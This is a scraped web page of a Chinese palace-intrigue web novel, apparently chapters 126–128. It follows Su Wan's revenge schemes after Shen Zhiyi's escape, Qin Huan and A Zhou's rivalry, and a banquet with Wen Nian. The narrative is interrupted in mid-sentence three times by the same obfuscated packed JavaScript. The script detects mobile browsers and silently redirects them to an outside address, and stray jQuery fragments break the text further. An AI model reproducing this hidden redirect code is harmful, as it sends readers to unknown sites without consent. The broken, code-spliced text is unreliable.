35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15335860|146123||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >可今夜,机会终于来了。 春蝉不知为何格外疲惫,早早在门边打起了盹。 沈枝意悄然起身,从枕下摸出一根细长的金簪,蹑手蹑脚走到门前,装模作样咳了几声,“茶水喝多了,我去解个手。” 春蝉哼哼两声,翻了个身,继续睡得天昏地暗。 沈枝意立刻贴在门锁,蹲下身,簪子一点点探入锁眼,只听轻微的“咔哒”一声,门闩应声而开。 她眼睛一亮,像一只偷腥的狸猫,提裙蹑足而出。 沈枝意不认得路,胡乱摸索着往外走。可惜运气不济,才走出几步,一脚踩在湿滑的青苔上,“哎呀”一声,摔了个狗吃屎,鼻尖直撞地砖,险些破相。 “嘶——疼死我了!”她咬牙咒骂,低头看脚踝,红肿一圈。 抬眼望天,一轮阴云遮月,四下朦胧,难以分辨方向。 “哼,总比一辈子困在这儿强。”她揉了揉脚,继续一瘸一拐地往前蹭。 苏绾房内。 “外头有动静。”阿舟立在窗边,眉头微蹙。 苏绾坐在案边,淡淡道:“不关你的事。” “可是……”阿舟还想说什么,却被苏绾截住话头。 “你来我房里,已经是错。若被人撞见,后果更麻烦。” 阿舟讪讪坐回软榻边角,低声嘟哝:“不知是谁半夜乱跑,一准没安好心。” 苏绾睨他一眼,“放心,有人盯着。” “谁?”阿舟问。 苏绾别开脸,低头理着自己袖口,“你不该来找我。” “可是我想你。” 苏绾手指一顿。 阿舟望着她,勇敢道:“你知道我不是个能说会道的人,但我心里的事,从来没变过。” 苏绾垂下眼眸:“这世道,真心,是最容易破碎的东西。” 祠堂内。 香火缭绕,无霜扶着灵案,胸脯还在起伏。 外头一阵骚动,几声惊呼随风飘入。 晴雷侧耳听了听,“沈枝意逃了。” 无霜像没听见似的,“她能逃到哪儿去?不过是只笼中扑腾的雀。” 晴雷神色一敛,“你们早就知道?” “她逃不出小姐的手掌心。”无霜语气平静,好似陈述天命般,“我倒是希望,她永远别回来。” 抬眸睇向素色牌位,“文竹不想见到她。” 沈枝意摸到一处偏僻走廊,忽见阿喜的房间就在前方,顿时火气蹿上脑门,恨得牙痒痒。 “臭婊子,竟敢打本小姐的脸,让你尝尝报应的滋味!” 她拢手扯散几缕头发,袖中掏出帕子蒙在脸面,还从墙角捡了两团蛛网贴在脸边。又学着戏台上的小旦,凄凄惨惨地“呜呜”两声,拽动门框发出响动。 “我是~怨~魂~索命~” 未等她吓唬别人,一声爆喝忽如雷霆: “什么人在外面鬼叫?找打是不是!” 声如破竹,吓得沈枝意“嗷”地一声,魂都飞了半截,她无论如何也想不到,此刻李老爹竟然待在阿喜的房间。 阿喜趴着门缝大叫:“娘哎,有女鬼在门口飘,脸上还有毛。” “女鬼个屁!”李老爹咂舌道,“八成是黑猫成精了,走,爹带你抓猫精玩去。” 沈枝意吓得腿肚子都软了,她转身迅速逃跑,结果一脚踩空,又一次结结实实摔在石板上,疼得呲牙咧嘴,却连声惨叫也不敢发出。 她一边揉着膝盖,一边忍痛爬起,惶惶张望周围地形。 眼看李老爹推门而出,身后跟着阿喜一同“除妖”,沈枝意一咬牙,屈身钻进院墙角的那道狗洞。 溶溶月光下,一道灰扑扑的身影像泥鳅一样从土洞里匍匐爬出,仓惶融入浓浓夜色,余留几撮被蛛网缠住的发丝,和几条被碎石扯烂的裙脚。 李老爹皱眉道:“咦?这黑猫,还会钻狗洞。” 126. 演戏 或许是李老爹舍不得父女睽离;又或许晴雷尚有愁绪未与文竹诉尽;抑或是阿舟身份敏感,不宜夜半出行。 总之,三人整夜留宿苏府,谁都不想离开。 直至天色微明,沈枝意逃跑的消息不胫而走,苏府上下闹得人仰马翻——报官的报官,传信的传信,挨训的挨训。人人皆如热锅上的蚂蚁,慌乱无措,乱作一团。 结果,三人被彻底困在了苏府,想走也走不成了。整个早晨,三人被分别藏匿在女眷房内,饭食皆由下人偷偷送入,以躲避管家的过问盘查。 好不容易能和女儿安安心心享受一回天伦之乐,李老爹自然乐得自在,主家怎么安排,他就怎么听着便是。至于沈家与苏家那摊子豪门恩怨,打生打死也好,爱恨缠绵也罢,他一介草民才懒得管呢。 这会子,李老爹盘腿坐上矮榻,笑眯眯看着阿喜将苏绾送她的珠钗玉簪一样样摊开,献宝似地往他眼前推着。 “阿爹,快瞧这只蝴蝶簪,翅膀还会颤哩!” 李老爹眯着昏花老眼,粗糙手指碰了碰振翅欲飞的蝶翼。 “阿喜啊,”他乐呵呵叹了句,“你这小日子,过得比阿爹都讲究喽。” “才没有呢!”阿喜羞赧道:“这些都是留给阿爹的养老钱。” 而晴雷这头略显局促,少年正襟危坐于矮凳之上,低首反复擦拭手中的雁翎刀。刀身银光锃亮,就快擦出火星子来了。 无霜在房中忙来忙去,怀里抱着一床叠好的锦被,一刻也不消停。晴雷斜睨她一眼,忍不住低声道:“你要不要先坐下歇一歇?” 无霜脚步一顿,脸颊悄然泛起红晕,怀里的锦被也沾染了几分温意。可她仍旧强撑着自尊心,梗着脖子撇出别扭的几个字:“不必了。” 她心里,还有气没消呢。 话音刚落,锦被下垂的流苏恰巧勾连住案角,无霜的身子被拽扯得一斜,连人带被栽进了眼疾手快的晴雷怀里…… 至于阿舟,则不要脸地霸占了苏绾的床塌,美其名曰“补觉”。他窝在柔软的锦被内里,半眯着眼,悄悄打量案前那道专注的倩影。 烛泪垂落,堆成一朵殷红的“珊瑚花”,映得桃花脸颊如玉雕般通透温润。苏绾整夜都坐在案前,写写画画,现在又拿着本兵书看个没完,一夜未曾阖眼。 阿舟盯着佳人微颤的睫羽,暗暗腹诽:这书莫非是镶了金?竟能让她捧了一整夜都不肯放手。 可他到底不敢贸然打扰她清修,生怕得罪了她,惹她不高兴。况且,那串珍珠项链被他一时激愤而碾作粉末,撒落在床脚边,与土坷垃混在一起。 如今连赔罪的机会都没了,男人卷了卷凤眸,心底满是懊悔,觉得自己可怜又可恨,恨不得甩手扇自己几巴掌。 “再看下去,眼珠子要掉出来了。”苏绾忽地出声,书页“哗啦”一响。 阿舟吓了一跳,赶紧翻了个身,背对着苏绾躺好,假装睡熟了,竟还打起了鼾声。 苏绾睇着那身“装睡”背影,嘴角弯了弯,心中思绪翻涌。 以他当前这副状态,莫说助她复仇,就连保住自己那条命,怕也是勉强至极。 一个失忆的将军,空有一身本事却无法使用,身处风雨飘摇的乱世,背后不知有多少双眼睛正死死盯着他,随时可能扑上来,将他撕成碎片,挫骨扬灰。 当前第一要务:要让他记起自己是谁;也要让他明白,不能再做任人宰割的羔羊。 该如何才能唤醒沉睡的记忆,点燃那团早已熄灭的怒火? 忽然,门外传来春蝉清亮的一声问安:“秦大夫来了!” 这一嗓子,显然把来人惊了一下,秦欢脚步一顿,隔了片刻,低声问道:“小姐起了吗?” 春蝉回道:“还没有呢。昨夜府里出了这么一档子事,小姐忙得脚不沾地,几乎将整个偏院翻了个遍,也没搜出任何线索与痕迹。” 秦欢微皱眉头:“怎么不来找我?” 春蝉答道:“小姐吩咐过,不得惊扰舅爷和表少爷休息。” 秦欢眼神黯了几分,沉声道:“纸包不住火,早晚是要面对的,何苦一个人强撑着?” 屋内苏绾闻听春蝉报信,不动声色地合上书卷,斜睨一眼塌上偷懒的阿舟,唇角轻启:“躲起来。” 阿舟一愣,还未反应过来,苏绾已低声催促:“快点。” 她起身走到床前,利落地拉过床边的帘幔,将阿舟隔在内侧,四周唯余一人之静。 秦欢推门而入,见苏绾端坐塌边,鬓发整齐,面色带着几分疲倦,毫无休息的样子,不由一怔:“你这是要闹哪样啊?” 苏绾眉目带笑:“表哥此话怎讲?” 昨日两人才推心置腹畅谈人生,彼此互通有无,双方都已卸下心防,将所有的秘密和盘托出。 自然不再以“表哥”相称。 秦欢眼底浮起一丝难辨的情绪,他趸进屋内,拉过一张凳子坐下,睇着苏绾道:“你才经历几多坎坷波折,应是卧床休息为主,不该再熬夜劳神。” 苏绾站起身,莲步轻挪,在他面前转了个身,裙摆飞扬,“表哥莫要忧心,我吃得好睡得香,并无忧虑挂碍。就连沈枝意出逃一事,我也早已做了打算。” 秦欢原以为她会避而不谈沈枝意,怎料她反倒主动提起,令他微有诧异。 “什么打算?难道是向沈恪负荆请罪不成?” “我没那么下贱。”苏绾嘴角斜了斜,“此地无银三百两,我才不傻呢。” 她缓步走到他面前,低头凝视着那双温润清朗的眼眸,“人是自己逃的,我自然要去报官,还要协助通缉她,将她绳之于法。” 她咬唇道:“沈枝意将我苏绾的亲信活活打死,这笔账,岂是说翻篇就能翻篇的?” 声音骤然冷下来,“她欠我的,不是一句道歉,不是一纸悔书,而是一条性命。我要的是一命偿一命,才算公平合理。” 秦欢有些不解:“那你为何又要放她逃?” 苏绾不答,身子一侧,竟直接坐进他怀里。 秦欢一惊,身体本能地僵住,还未来得及反应,一双葇荑勾住他的脖颈,柔声在他耳畔低语: “我给她量身定制了一出好戏,最适合她那种眼高于顶、不谙世事的千金大小姐了。” 她的唇角扬起一抹狡黠的笑意,“很快,沈枝意就会遇到她生命里最‘重要’的人。落难的大小姐嘛,自然要配不得志的穷书生,才叫天作之合。” “可惜,注定是一出悲剧。” 她的声音越发清冷:“她会经历被暗算、被欺骗、被辜负,甚至沦落到卖身求生的地步。” “待她尝尽世间百味酸苦,才会真正明白,什么叫尊重生命,她错的又有多离谱。” 她靠得太近,吐息缭绕在耳侧,仿佛轻羽拂面,令秦欢面颊不由一红。他微微侧过身,悄然调整姿势,努力掩饰心头的波动。 秦欢咳了一声,尽量让声音听起来镇定:“你别小看了沈恪,哪怕上刀山下火海,天涯海角也要把宝贝女儿揪回来不可。” 苏绾淡淡一笑,“只怕他找得回沈枝意的人,却拉不回来她的心。嫁出去的女儿,泼出去的水,沈恪再厉害,也管不住一个真心破碎、泥足深陷的女人。” 秦欢听出了她言语背后的深意——苏绾不是放沈枝意一条生路,而是设了一个温柔陷阱,要让她一步步沉沦,直至万劫不复。 他认为,她是在深渊的边缘涉水,“可你去哪里寻一个痴心绝对,又让沈枝意情根深种的男子?” 苏绾贴得更近了些,声音轻柔得像哄梦:“你别忘了,我在教坊司待过很长一段时间。那地方鱼龙混杂,什么样的男人我没见过?” “我认识一个人,嗓音好听,长得俊俏,极擅哄女人。他来唱这出对手戏,最合适不过。我了解他的念想与为人,他一定会帮我的。” 秦欢仍有几分踌躇——这场布局看似缜密周全,实则危机四伏。倘有一人不按套路出牌,则功亏一篑,落得满盘皆输。 可眼下,他已经顾不得旁人会如何了。 苏绾软软地倚在他怀里,发间馨香如春水袭来,叫人心神荡漾。他垂眸望着她,终是忍不住,扶着她的薄肩,俯身在她额前落下一吻。 “表哥……”苏绾低低唤他。 两个字灌入耳中,令秦欢陡然一震,脑中一瞬清明。 从他进门那一刻起,她一直唤他“表哥”——绝非无心之语。 与此同时,她又毫不避讳地承认放走了沈枝意,甚至将后续安排娓娓道来,毫无遮掩。 她究竟在下哪步棋?葫芦里卖的又是什么药? 秦欢四下扫视,屋中陈设整洁如常,可空气中隐约浮动着一丝微弱的腥涩味道,或是藏了什么本不属于这间屋子的东西。 眸光一转,落在床榻那头——帷幔低垂,鼓起一道轻微的弧度。榻角悬着的缎面,似乎还因某种重量微微下陷。 原来如此。 她这是要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15353840|146123||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拉着他,唱一出“警醒”戏码给人看。 秦欢不觉悲从中来,一想到自己不过是一根皮鞭,一枚棋子,被她握在手里鞭策他人、布局算计的工具,心口止不住地泛起苦意。 即便如此,他仍甘之如饴。 他低头吻上朱唇,似蜻蜓点水,“表妹这般主动,让表哥实在情难自抑。” 苏绾眼波流转,“我不过是信你,信你有情有义,能扛得起事。” “可不是谁都能担得起‘信任’二字的。”秦欢话锋一转,意味深长地道:“若只会做缩头缩脑的乌龟,不敢面对现实,还是留在女人的绣榻上做春梦罢。” 苏绾摩挲着秦欢的衣襟,像无意而语,又似刻意点拨,“这世道,弱就是罪。跌倒了若不能站起来,就该学着退出。” 秦欢望着她,似在吐露心声,又似配合她做戏,“我这把刀,随时愿为你豁出去。” 苏绾笑道:“我就知道,表哥不会让我失望。” 两人情意缱绻,互诉衷肠。帘幔后的榻上,阿舟听得冷汗淋漓,心跳如擂鼓。一字一句,像钉子一样钉在心头。 他现在什么也做不了,任由别人夺了她的信任与真心,他这位人人口中的“冷面阎罗”,连护她安身都无能为力。 男人咬紧了牙关,眼底泛起阴沉的执念,手也不由自主攥紧了被角。 帘幔后传来一阵扯动的轻响,奚奚索索,夹杂着些许叹息声。 秦欢眼神倏然一凛。 苏绾端起案上一盏茶,轻轻晃了晃,水声遮掩了动静。她笑着打圆场:“可能是虫儿飞进来了,窗没关严。” 秦欢唇角一挑,冷冷道:“这虫子倒沉得住气,藏得够深。” 话音未落,他已几步踏到床前,骤然掀开帘帐。帘幔呼啦坠地,尘埃惊起飞扬,如同一层遮羞布被人残忍撕裂。 榻上的阿舟被突如其来的曝光刺得睁不开眼,他反手挡住光线的侵袭,看见自己的手背在颤抖。他觉得自己像一只被逮住偷腥的猫,狼狈得令人可笑。 秦欢负着手,居高临下睥睨着他,眼神冷漠至极,“你躲在这里,是怕死呢,还是怕丢人?堂堂七尺男儿,藏得比女人还要隐蔽。” 阿舟脸涨得通红,恨不得一头钻进地缝,从此永远消失。 苏绾站在秦欢身旁,冷漠的神情让阿舟终身难忘。 “真是没用。”她淡淡道。 秦欢慢条斯理地整了整衣袖,“他现在连自己是谁都不知道,倒不如靠只狗来的实诚。” 阿舟听到这话,眼底血丝翻滚。 那一刻,羞辱、愤怒、自卑、绝望,全数涌上心头。 胸腔燃起一股怒火,却不知谁是始作俑者。 此生再也没有比这一刻更加令人窒息的屈辱。 他宁愿自己化作一缕尘埃,在屈辱中腐朽堕落,融进泥土里。 他一把推开秦欢,拔腿冲了出去。 门扉被他踢得砰然作响,守在门外的春蝉几乎被他撞了个满怀,吓得小丫头直嚷嚷:“有鬼啊!” “他去哪里?”秦欢眉梢一挑,似笑非笑地望着苏绾。 “随他去。”苏绾没有看他,将帘幔重新放下。 她的心情百感交集,五味杂陈,很难用一句话概括总结。 可这天大的难事,却被聪明如秦欢一语道破:“你舍得吗?” 杂乱无章的愁绪瞬间找到了开口,苏绾一愣:“舍得不舍得,有什么意义?” 若能一棒子敲醒梦中人,才是此行最紧要之事。 对此秦欢不置可否,他沉默片刻,道:“其实我今早过来,还有另外两件事,方才不便开口讲。” 他转身寻回那张凳子,重新坐定,“第一件事,是姨父昨晚从阁老府邸回来,说我入宫之事,已八九不离十。内阁那边愿意出面协调,走的是吏部旧例,太医院发聘书,不走探亲这条路。” 苏绾眼中闪过讶色,“阁老居然愿意帮忙?这局棋牌,变得越来越有意思了。” “第二件事嘛……”秦欢顿了顿,目光投向她,“有些棘手。” 他缓缓道:“温如初昨晚递了帖子来,署的是户部尚书梁才的名义。邀请你和姨父,四人共赴一场私人宴会,时间定在明日午后。” 苏绾感到不可思议:“温如初?梁才?” “嗯,”秦欢眸色微沉,“表面上是为婚约一事做个了结,但我猜事情绝不会那么简单。” “温念他一定别有用心。” 127. 离府 苏绾淡淡道:“他说请我赴宴,我就非去不可么?” 秦欢沉声道:“你自是不必委曲求全,可你与他之间尚存续婚姻约定。圣上赐婚,金口玉言,不是说取消就能取消的。此番温念极有可能假借婚约的名义,逼迫你胁从妥协。” “如今他主动牵头设宴,邀你与姨父同席,恐怕不只是拉拢交际那么简单。兴许是想做个了断,又兴许另有所谋。总之,你在明他在暗,虚实难辨,还是防着些为妙。” “为慎重起见,宴会须向后推迟几天,并且时间地点皆由我们来定——最好选在人来人往的闹市区,这样对方才不敢轻举妄动。我提前安排人手潜伏在周遭附近,以备不测。” 苏绾轻笑道:“表哥如此周全,表妹有何可忧?” 那副娇俏容颜,灵动婉转,深深吸引了秦欢。他忍不住伸手刮了刮她的小鼻尖,笑里带叹:“若非为了你,我怎会这般煞费苦心?可你呢……” 他低下头,忽地有些感伤,“方才是谁压着我,非要我配合唱一出戏?你倒是潇洒,我太难了。” 苏绾自知辜负了秦欢,也无以为偿,只好踮起脚尖,轻轻吻上他的薄唇,算作替过往赔罪。 “秦大夫,别这么小气嘛。”她双臂环上他的颈项,放浪笑道:“咱们二人联手,杀他个措手不及,乘此东风,送温念上西天。” 秦欢再次被她缠住,脸颊不由又泛红了。重活两世,终究还是败给了这副如花笑靥。他自知无法抗拒她,只得无奈轻叹着,将她紧紧拥入怀中。 他心里面很清楚,这般温存体贴,怕是已所剩无几。 二人就此达成默契,接下来的几天,两人各司其职,暗中筹谋。 果然不出所料,沈恪终于沉不住气了,一路气势汹汹从大兴县赶过来。一进门,沈恪两手掐腰破口大骂,扬言若苏府不立刻交还宝贝女儿,便要将整座府邸都夷为平地。 殷潜与沈恪相处多年,早已摸透了这位老对手的脾性,只要不涉及宝贝女儿,万事皆好商量。他也深知苏绾的举动,确确实实踩到了沈恪的七寸。 他不愿给自己平白无故树敌,一面打着太极搪塞过去,一面将沈恪按在前厅,同他探讨起倭寇猖獗、边防吃紧的话题。当前倭寇聚集停留山东海域,终非长久之计,应当筹谋狙击剿灭,方为上策。 沈恪早已收到海防密报,对倭寇突然更改驻地,亦感到迷惑不解。可他根本无暇顾及军务,对殷潜的提议也是敷衍了事,只想尽快寻回女儿。 两位重臣你来我往,互相推诿扯皮,皆无实意。 最后逼得老将军没办法,扯着殷潜的袖子嚎啕大哭,直言自己就这么一个宝贝女儿,如果人没了,他也活不下去了。 殷潜无奈之下,只得唤来了苏绾,令她自行解决麻烦。他自己则换掉沾满了鼻涕泪水的脏衣,躲到后堂看庭前花开花落,闲喝龙井茶去了。 苏绾的言辞,则冷漠了许多。 沈枝意打死她的亲信,她拿住沈枝意报官问罪,天经地义。就是闹到“三法司”对簿公堂,她也是不怕的。如今沈枝意夜半跑了,到处都抓不到凶手,她还要找沈恪要人呢! 沈恪一愣,没想到苏绾不过一裙钗妇人,面对堂堂二品大员的诘问,竟能口若悬河,坐怀不乱。这份从容淡定,不似闺阁女子,倒像是久历沙场的政客。 直觉告诉他,苏绾并非她口中所说的那般无辜,就算不是亲手操刀,也绝脱不了干系。只可惜他手头没有任何实质证据,再与其纠葛忒浪费时间,眼下还是找回宝贝女儿最为重要。 沈恪低下头,迈步向外走去,刚走出几步,忽又停下,沉吟片刻,咬牙道:“你已经想好退路了吧?” 苏绾淡淡回道:“不是我做的事,谁也甭想将屎盆子扣我头上。非要说我有退路……”她轻拢衣袖,眸光如水,“不如老将军先抬眼看看自己,面前还有多少条路可走?” 沈恪一怔,方才还存有一丝高位者的居高临下,此刻却莫名生出一阵隐隐不安。他死死盯着苏绾的眼睛,欲看出点端倪来。 苏绾慢条斯理道:“朝局风云诡谲,贵妃与皇后二虎相争。老将军不会天真地以为,自己还能置身事外吧?” “倭寇狼子野心,从浙江一路北上,兵锋逼近山东沿海。下一步,倭寇若真在黄河口登陆,你猜,圣上会派谁去灭倭?” 她眼眸一掀,寒光毕露:“你再猜,山东海域,是谁的地盘?” 沈恪愕然,山东本就是贵妃一脉盘根错节的重地。若真领兵征倭,等同于踏入贵妃势力腹地。 这是逼着他表态站队啊。 可眼下满朝风向早已偏向皇后一边,贵妃一派渐趋式微,树倒猢狲散,此时若陷入其中,无异于自断前路。 分明是一步死棋! 沈恪默默打量苏绾良久,忽然之间,他似乎理解了,为何时枫那小子会对这位姑娘魂牵梦绕,痴迷不悟。 她绝非柔弱无依的闺阁女儿,而是一只锦绣真凰——眼中藏锋,胸有丘壑,借朝局风浪,翻云覆雨,将这一枕江山,搅得周天寒彻。 那边沈恪铩羽而归,这边李老爹不亦乐乎。 自打听见阿舟翻墙逃走后,晴雷竟一把推开不小心跌进怀里的无霜,直推得她又是一个趔趄。 少年从矮凳一跃而起,一边道歉赔不是,一边握紧雁翎刀,阵风般冲了出去。 可怜无霜跌坐在地,锦被丢在一边,气得咬牙切齿,发誓今生再也不理睬他。 本是三人行,唯余李老爹一个男丁,孤零零滞留于苏府,也无别处可去。所幸苏绾体贴,将他安置在主院,以贵客之礼相待。 每日三餐,李老爹到偏院与阿喜一道用膳。有阿喜陪在身边,李老爹倒也没那么拘束,渐渐放松下来。 人一旦闲了,难免生出些妄念。 他整日里在大宅院闲逛,一名叫“老丁”的仆役对他尤其客气,见到他就点头哈腰,给足他面子。 没错,正是从前伺候苏沅芷的贴身随从——那位险些被时枫捏断手腕,后来又领着邵云礼进府,查办芸娘的老丁。 当年苏君识净身出户,苏夫人盛怒之下遣散了府中大半家丁婆子,只带着几位自钱塘随来的老嬷嬷与亲信,前往杭州投奔殷潜。 老丁等人被打发回乡下种田,他心有不甘,恨自己没能深深扎根在这等门第人家,趁机捞点油水。 后来苏二小姐重返苏府,殷潜坐镇家主之位,府中人手骤紧。殷潜命人招募家丁婢女,老丁凭着旧日资历,主动请买。管家也未多加盘问,重新收了他进来,归入杂役行列。 老丁心头那点小算盘,又悄悄打响了。 这一日,草长莺飞二月天,两人坐在天井里闲聊。老丁口沫横飞,绘声绘色讲起了苏府的“兴衰史”。 他从苏君识迫于压力迎娶苏殷氏讲起,提及姨娘九香黄昏被抬进门,不到两年即沉湖身亡;又讲到苏绾当年“盗取府中财宝”,被家主一气之下贬入行院,半路被温如初救下;再说到去年纳征之日,苏绾与时枫“私通”,被苏沅芷撞破,苏绾恼羞成怒,指使时枫打伤苏沅芷,不得不远送热河疗养;紧接着苏绾与新姨娘芸娘联手,设计给苏尽欢下药,导致其癫狂,虐杀了刘嬷嬷,被刑部捉拿下狱,靠温如初设法保了出来;最后则是芸娘挑唆苏君识与正室和离,一家三口灰溜溜逃到乡下避祸。 说到精彩处,老丁眉飞色舞,唾沫星子都溅到听众的脸上了。听他这般编排,苏绾俨然天生的乱府妖姬,搅得整个苏家天翻地覆,鸡犬不宁。 “你可知道,刘嬷嬷的尸骨埋在何处?”老丁压低了声音,故作神秘。 见李老爹一脸茫然,他嘿嘿一笑,凑近些道:“就在偏院尽头,祠堂旁那块年年荒废的园子里。” 说着摇头叹息,“啧啧,那死状,简直惨不忍睹。脑浆都被砸出来了,乱呼呼的一团,下人们收尸时都不敢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15366950|146123||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 多看一眼。” 李老爹听得脸色煞白,倒不是怕死,而是那地方——离阿喜住的屋子,竟只有一墙之隔! 怪不得那些下人一个个避之唯恐不及,就连最贪便宜的仆妇也不愿靠近偏院。 阿喜那个傻丫头还常说那边“清净”。清净清净,清得瘆人。 李老爹原本不信下人们的闲言碎语,他自己出身贫寒,最懂得穷苦人家的性子——嘴碎归嘴碎,真真假假搅作一团,多半都是添油加醋的无稽之谈。 可刘嬷嬷的案子,实在吓坏了这个在海风浪里搏命多年的老渔民——都是苦命人,他晓得在贵族权势压迫下,草民维持生活乃至生存都是个问题。 他沉沉地想:那位苏二小姐,果然不是寻常人物。翻手为云,覆手为雨,轻描淡写之间,搅动了整个苏府的风云。 曾经门楣高悬、显赫一方的大宅院,翻覆如棋盘,叫人不得不叹一句——家破人亡,也不过袖手之间。 转念一想,当初与她私通的将军,不正是阿舟吗?如今阿舟虽失了忆,可苏绾是否能就此放手?未必。她与那位秦大夫不是还有一腿? 李老爹心头一阵嘀咕:吃着碗里的,还惦记着锅里的。这样反复无常的女子,嘴上说着情深义重,实则步步为营、左右逢源。世人常说“贪心不足,蛇吞象”,这话落在她身上,倒是再贴切不过了。 李老爹这般想着,越思越心惊,仿佛身处的不是人间宅院,而是虎狼之窟。他只觉后背发凉,恨不得立刻抽身而退。于是随口扯了个由头,推说坐久了腰疼,草草告别老丁,一瘸一拐往偏院跑去。 望着那落荒而逃的背影,老丁眯起眼睛,唇角勾起一抹阴狠的笑意。 这一趟,他属实是受人之托,以一百两的价格,要让李老爹离开苏府管辖范围,外面自会有人接应。 成了局、放了饵,等李老爹咬钩,已然水到渠成。 银子顺利落袋,老丁抬手掸了掸衣角,心中暗自得意:不过是说几句闲话,又赚得一笔,倒也不枉他再投奔苏府一回。 当夜,李老爹留下一封字迹潦草的信笺,托辞说思念阿舟,决意外出寻人,并承诺寻到之后便会回来报信。 他背起早已收拾好的包袱,里面塞满了阿喜的首饰与细软,件件都是她珍藏的宝贝。 李老爹一手拉着迷迷糊糊、不情不愿的阿喜,摸索着来到后院的狗洞,趁着无人守夜,悄无声息地溜出了苏府。 第二日清晨,未见阿喜父女前来用膳,无霜急着禀报给苏绾。 苏绾略感诧异:是她哪处照料不周,惹得二人心生去意?可这偌大京城,阿喜父女初来乍到,人生地不熟,又能奔向何处去寻阿舟? 她并不担心阿舟的安危,有晴雷随行庇护,另有邵云礼派人盯梢,自不会出岔子。 如今人已离去,话也无从多说,既已成定局,索性先放一旁不提。眼下当务之急,仍是与温如初的会面。 地点定在了醉仙楼。 翌日,寒冰消尽,阳春遽多意,万物复苏,柳芽新绽,一片清和景宁。 街巷熙熙攘攘,茶肆酒楼高挂红灯,小贩吆喝声不绝于耳。巷里飘出一股股热腾腾的馄饨香气,孩童追逐打闹,京城的街市热闹而鲜活,处处流转着生机。 苏绾坐在马车里,听帘外喧嚣声声,难掩心中一抹阴翳。她低首摩挲着指间的金戒指,过往云烟处处浮。 对面坐着无霜和春蝉,二人皆不敢多言。前方是殷潜的车驾,一路稳稳当当开道,两旁暗处藏着秦欢的手下,络腮胡等人严阵以待。 苏绾望着窗外人群,世人喧哗,不过是皮相,她要面对的,却是将过往情爱揉碎,撒上权谋与欲望的恶鬼。 街头越热闹,她的心越发沉静,那种不安像是密林深处的风,密密麻麻拂乱她的思绪。 醉仙楼已在眼前,酒旗猎猎招摇。不知今朝这一席,端的是笑面藏刀,还是各怀鬼胎。 128. 婚约 时隔一年重返醉仙楼,人面桃花依旧相映成红,江湖热闹未有半分冷却。 二楼雅间,去年端午那处熟悉的座位,一桌美酒佳肴,色香味俱全,宛如旧梦重温。 只可惜,门外站着的,不再是威风凛凛的冷面将军。取而代之的,是戴着人皮面具的恶鬼。 不是温如初,自他右臂负伤之后,再也没出现在大众视野。 温念。 他身着一袭月白锦袍,白玉冠束起三千青丝,衬得那张俊颜愈发清冷出尘。一双含情桃花眼似醉非醉,顾盼间不知勾走多少闺阁芳心。眉如远山,唇若寒霜,明明近在咫尺,却又遥不可及。 其实是个满三十岁的老不死。 温念一见到她,款款两步上前,语气柔和,如沐春风:“绾绾,别来无恙否?” 这四字,苏绾已听得耳生心厌。凡是喜欢说这话的人,多半根本不在乎你过得好不好,死不死,活不活,都是假惺惺的矫揉造作。 她唇角撇了撇:“凑合。” 言罢,水袖一拂,带着无霜与春蝉扬长而入,连一个眼神都吝于施舍。擦肩而过时,裙摆轻轻掠过他的靴面,衣袂生风。 温念眉梢一跳,笑意不减。 屋内主位上,正襟危坐的便是二品户部尚书梁才。 此人年逾六旬,头发花白,身宽体胖,五官嵌在肉里,眼睛眯成一条缝。三角鼻头塌陷,唇厚齿黄,笑时带着一丝阴翳。他身着沉香色直裰,腰间束鹿皮蹀躞带,悬着和田玉灵芝佩,佩下缀着丝绦。 上一世,苏绾对梁才并无太多印象,也没留意过此人最终的结局。想来结局平平,并未掀起什么风浪,也没留下深刻的痕迹。 这一世,此时苏绾还未见过梁才,仅从温如初的言论中听闻其人:讲梁才如何赏识他,力挺他在朝中推行改革,又如何在群臣反对声中,一己之力为他担下重责。说起来,梁才之于温如初,可谓知遇之恩,恩重如山。 梁才打量着一身素雅妆束的苏绾,目光带着上位者惯有的审视与威压,“这位,便是苏家的二小姐?” “正是。”殷潜一面说着,随手一伸,引苏绾落座身旁。 梁才点点头,“果真是百年难得一见的美人,名不虚传。” 苏绾侧身大方行礼,拜了梁才一拜,盈盈款步入席。无霜、春蝉两位小丫头侍立左右。 对面坐着温念,衣袖半卷,桃花眼眸睐着她,赞同道:“绾绾倒是比去年,更加耐看了几分。” 苏绾嗤了一声。 “你可比去年老了许多,一下子年长了七八岁。” 梁才与殷潜对视一眼,皆有些错愕,似乎没料到素来温婉的苏府二小姐,竟是这般直言不讳的火辣性子。 细细一想,又有些认同她——温如初较之从前,形容憔悴了许多,仿佛一夜之间苍老了七八岁。想来这朝堂政事,是有多么磨人心志。 